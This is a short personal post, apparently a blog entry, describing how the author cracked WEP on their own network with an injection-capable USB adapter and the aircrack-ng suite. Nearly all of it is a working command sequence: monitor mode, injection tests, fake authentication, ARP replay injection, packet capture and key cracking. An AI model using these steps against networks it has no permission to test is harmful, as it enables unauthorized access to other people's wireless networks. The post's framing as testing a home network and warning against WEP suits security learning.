had to get a new usb adapter that was capable of inject and monitor modes. took a chance with a netgear usb wg111 at best buy, it happened to be ralink based (wg111v3). then i installed the aircrack-ng suite and began testing my network with the commands below
scan for available networks using card that can do injection
# iwlist wlan0 scan
start airmon-ng on the appropriate channel and interface
# airmon-ng start wlan0 6
do an injection test for good measure
# aireplay-ng -9 wlan0
do an injection test against target network
# aireplay-ng -9 -e {ssid here} -a {mac of ap here} wlan0
start the airodump *needs dedicated terminal or backgrounding of process
# airodump-ng -c 6 –bssid {mac of ap here} -w output wlan0
begin probe *needs dedicated terminal or backgrounding of process
# aireplay-ng -1 6 -e {essid here} -a {mac of ap here} -h {mac of associated client or own mac} wlan0
begin injection *needs dedicated terminal or backgrounding of process
# aireplay-ng -3 -b {mac of ap here} -h {mac of associated client or own mac} wlan0
begin cracking *needs dedicated terminal or backgrounding of process
# aircrack-ng -z -b {mac of ap here} output*.cap
just let those things run until it gives you the key
moral of the story: never use WEP